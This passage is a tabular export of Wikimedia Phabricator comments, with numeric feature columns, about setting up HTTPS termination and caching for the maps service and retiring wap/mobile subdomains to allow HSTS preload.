2.    If so, what source cluster will it be under? web, misc, a new ""maps"" one..?
"
504615,Set up standard HTTPS Termination -> 2layer caching for maps service,"@bblack, re non-SSD -- I think there are a few smaller unused SSDs  that might be used to upgrade these servers. @mark mentioned them when we were considering the storage for the codfw servers.

Also, I will close this issue and move the cache invalidation to a separate task - max is working on the htcp component, and once done, we should figure it out.  Thanks!",,,1439025548,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,5,True,1.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,1.0,4.0,8.0,0.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,3.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,5.0,10.0,1.0,3.0,10.0,0.0,0.0,1.0,0.0,6.0,0.0,1.0,0.0,8.0,8.0,1.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,1.0,3.0,1.0,0.0,1.0,3.9240506329113924,0.7848101265822784,"SCREEN_NAME, re non-SSD -- I think there are a few smaller unused SSDs  that might be used to upgrade these servers.SCREEN_NAME mentioned them when we were considering the storage for the codfw servers.

Also, I will close this issue and move the cache invalidation to a separate task - max is working on the htcp component, and once done, we should figure it out.  Thanks!"
504524,Set up standard HTTPS Termination -> 2layer caching for maps service,"@bblack, thank you for doing this on such a short notice! The results so far are amazing! We will be doing performance eval, and regen the tiles to fix the most outstanding issues. Once again, it is awesome!",,,1438997677,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,9.0,0.0,2.0,13.0,0.0,0.0,7.0,0.0,7.0,0.0,2.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,3.8666666666666667,0.8666666666666667,"SCREEN_NAME, thank you for doing this on such a short notice! The results so far are amazing! We will be doing performance eval, and regen the tiles to fix the most outstanding issues. Once again, it is awesome!"
504493,Set up standard HTTPS Termination -> 2layer caching for maps service,">>! In T105076#1520412, @BBlack wrote:
> This is now basically working at https://maps.wikimedia.org/static/ .  Don't link that anywhere or use it on wikis anywhere yet, there are probably lots of ancillary details to sort out, review, and/or fix first.
> 
> Note also that due to taking whatever available spares we have here and there, the cluster config isn't really ideal or standard.  The cache cluster for this is a pair of non-SSD older nodes in eqiad, while the service hosts are over in codfw.

awesome",,,1438994555,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.4444444444444444,"QUOTE
QUOTE
QUOTE
QUOTE

awesome"
504489,Set up standard HTTPS Termination -> 2layer caching for maps service,"This is now basically working at https://maps.wikimedia.org/static/ .  Don't link that anywhere or use it on wikis anywhere yet, there are probably lots of ancillary details to sort out, review, and/or fix first.

Note also that due to taking whatever available spares we have here and there, the cluster config isn't really ideal or standard.  The cache cluster for this is a pair of non-SSD older nodes in eqiad, while the service hosts are over in codfw.",,,1438993828,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,True,,,5,True,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,1.0,1.0,0.0,15.0,15.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,7.0,3.0,4.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,15.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,2.0,1.0,0.0,0.0,3.8152173913043477,0.7717391304347826,"This is now basically working at URL .  Don't link that anywhere or use it on wikis anywhere yet, there are probably lots of ancillary details to sort out, review, and/or fix first.

Note also that due to taking whatever available spares we have here and there, the cluster config isn't really ideal or standard.  The cache cluster for this is a pair of non-SSD older nodes in eqiad, while the service hosts are over in codfw."
504439,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230246 merged by BBlack:
Add cache_maps and related LVS config, using cp104[34]

[[https://gerrit.wikimedia.org/r/230246]]",,,1438989995,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,3.9565217391304346,0.8695652173913043,"Change 230246 merged by BBlack:
Add cache_maps and related LVS config, using cp104[34]

[[GERRIT_URL]]"
504414,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230243 merged by BBlack:
add maps.wikimedia.org (-> maps-lb.eqiad)

[[https://gerrit.wikimedia.org/r/230243]]",,,1438987929,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.1,0.9,"Change 230243 merged by BBlack:
add maps.wikimedia.org (-> maps-lb.eqiad)

[[GERRIT_URL]]"
504413,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230242 merged by BBlack:
create maps-lb.eqiad, repurposing osm-lb.eqiad ipv4

[[https://gerrit.wikimedia.org/r/230242]]",,,1438987919,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,4.7894736842105265,0.8947368421052632,"Change 230242 merged by BBlack:
create maps-lb.eqiad, repurposing osm-lb.eqiad ipv4

[[GERRIT_URL]]"
504412,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230241 merged by BBlack:
remove unused revdns for osm-lb.esams

[[https://gerrit.wikimedia.org/r/230241]]",,,1438987909,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.277777777777778,0.8888888888888888,"Change 230241 merged by BBlack:
remove unused revdns for osm-lb.esams

[[GERRIT_URL]]"
504404,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230246 had a related patch set uploaded (by BBlack):
Add cache_maps and related LVS config, using cp104[34]

[[https://gerrit.wikimedia.org/r/230246]]
",,,1438987438,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.8333333333333335,0.8333333333333334,"Change 230246 had a related patch set uploaded (by BBlack):
Add cache_maps and related LVS config, using cp104[34]

[[GERRIT_URL]]
"
504399,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230241 had a related patch set uploaded (by BBlack):
remove unused revdns for osm-lb.esams

[[https://gerrit.wikimedia.org/r/230241]]
",,,1438987302,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.04,0.88,"Change 230241 had a related patch set uploaded (by BBlack):
remove unused revdns for osm-lb.esams

[[GERRIT_URL]]
"
504398,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230242 had a related patch set uploaded (by BBlack):
create maps-lb.eqiad, repurposing osm-lb.eqiad ipv4

[[https://gerrit.wikimedia.org/r/230242]]
",,,1438987301,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,4.423076923076923,0.8846153846153846,"Change 230242 had a related patch set uploaded (by BBlack):
create maps-lb.eqiad, repurposing osm-lb.eqiad ipv4

[[GERRIT_URL]]
"
504397,Set up standard HTTPS Termination -> 2layer caching for maps service,"Change 230243 had a related patch set uploaded (by BBlack):
add maps.wikimedia.org (-> maps-lb.eqiad)

[[https://gerrit.wikimedia.org/r/230243]]
",,,1438987301,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,15.0,3.925925925925926,0.8518518518518519,"Change 230243 had a related patch set uploaded (by BBlack):
add maps.wikimedia.org (-> maps-lb.eqiad)

[[GERRIT_URL]]
"
502810,Set up standard HTTPS Termination -> 2layer caching for maps service,"Questions from the data end:

1. Is this going to be integrated with the existing kafka pipelines for logging?
2. If so, what source cluster will it be under? web, misc, a new ""maps"" one..?",,,1438804378,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-42ovhtqzm46e5wh2wqtf,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,12.0,2.0,6.0,4.0,0.0,2.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,4.0,3.204081632653061,0.8367346938775511,"Questions from the data end:

1. Is this going to be integrated with the existing kafka pipelines for logging?
2. If so, what source cluster will it be under? web, misc, a new ""maps"" one..?"
104942,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"In addition to `$lang.m.wikipedia.org` and `$lang.zero.wikipedia.org` (which are fine!), we also have `$lang.wap.wikipedia.org` and `$lang.mobile.wikipedia.org`.  These latter two seem to be apache-level rewrites (rather than redirects) to `$lang.m.wikipedia.org` at https://github.com/wikimedia/operations-puppet/blob/production/modules/mediawiki/files/apache/sites/redirects/redirects.dat#L484 .  From my desktop browser they appear equivalent to `.m.`, but perhaps there are still hacks in place for WAP on special user-agents?

These subdomains are not compatible with our TLS certs, so it's a problem that blocks HSTS-preload for wikipedia.org indirectly.  My understanding is they're intended to be deprecated going forward, in which case perhaps we can just hurry up plans for their demise?",Medium,50.0,1436247286,1438001461.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-ocjkiluccjqpet6e2edi,task_description,resolved,True,c3,3,True,True,True,0,True,0.0,0.0,0.0,1.0,1.0,3.0,1.5,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.5,3.5,1.0,6.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,6.5,1.0,1.0,0.0,0.0,1.0,0.5,0.0,1.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,12.0,0.0,1.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,9.0,1.0,1.5,3.5,0.0,0.0,0.5,0.0,2.0,0.0,0.5,0.0,6.5,12.0,5.5,1.5,0.0,0.0,6.5,0.0,2.0,1.0,0.0,1.0,0.0,0.0,1.0,3.9416666666666664,0.8333333333333333,"In addition to CODE and CODE (which are fine!), we also have CODE and CODE.  These latter two seem to be apache-level rewrites (rather than redirects) to CODE at URL .  From my desktop browser they appear equivalent to CODE, but perhaps there are still hacks in place for WAP on special user-agents?

These subdomains are not compatible with our TLS certs, so it's a problem that blocks HSTS-preload for wikipedia.org indirectly.  My understanding is they're intended to be deprecated going forward, in which case perhaps we can just hurry up plans for their demise?"
508546,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Change 231612 merged by BBlack:
Remove wap/mobile subdomains from redirects

[[https://gerrit.wikimedia.org/r/231612]]",,,1439578361,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.15,0.9,"Change 231612 merged by BBlack:
Remove wap/mobile subdomains from redirects

[[GERRIT_URL]]"
508543,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Change 231612 had a related patch set uploaded (by BBlack):
Remove wap/mobile subdomains from redirects

[[https://gerrit.wikimedia.org/r/231612]]
",,,1439578271,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.962962962962963,0.8888888888888888,"Change 231612 had a related patch set uploaded (by BBlack):
Remove wap/mobile subdomains from redirects

[[GERRIT_URL]]
"
508537,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Change 231610 merged by BBlack:
Remove mobile.wp.o

[[https://gerrit.wikimedia.org/r/231610]]",,,1439578025,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.066666666666666,0.8666666666666667,"Change 231610 merged by BBlack:
Remove mobile.wp.o

[[GERRIT_URL]]"
508535,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Change 231610 had a related patch set uploaded (by BBlack):
Remove mobile.wp.o

[[https://gerrit.wikimedia.org/r/231610]]
",,,1439577860,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,3.8636363636363638,0.8636363636363636,"Change 231610 had a related patch set uploaded (by BBlack):
Remove mobile.wp.o

[[GERRIT_URL]]
"
497394,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Change 223972 merged by BBlack:
Remove wap and mobile subdomains

[[https://gerrit.wikimedia.org/r/223972]]",,,1438001374,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.8888888888888888,"Change 223972 merged by BBlack:
Remove wap and mobile subdomains

[[GERRIT_URL]]"
497393,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"wikitech-l thread seems in agreement as well, so moving forward on this.  Thanks for looking into it everyone :)",,,1438001335,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,3,True,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.9166666666666665,1.0,"wikitech-l thread seems in agreement as well, so moving forward on this.  Thanks for looking into it everyone :)"
496777,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,I pinged on wikitech-l one last time.,,,1437779909,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,1.0,I pinged on wikitech-l one last time.
493148,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"This has been an enlightening thread in many ways! Thanks everybody.

I'm not seeing anything in the longer queries that causes any alarm and I'd like to move this forward. Any additional concerns?

-Toby",,,1437166152,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,2,True,7.0,5.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,7.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,12.0,0.0,2.0,14.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,5.0,7.0,2.0,2.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,4.119047619047619,0.9047619047619048,"This has been an enlightening thread in many ways! Thanks everybody.

I'm not seeing anything in the longer queries that causes any alarm and I'd like to move this forward. Any additional concerns?

-Toby"
492789,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Even more pro-tip: put it in a [[/paste/create | pastebin ]] and then embed it with `{P123}`. Like this:

{P123}

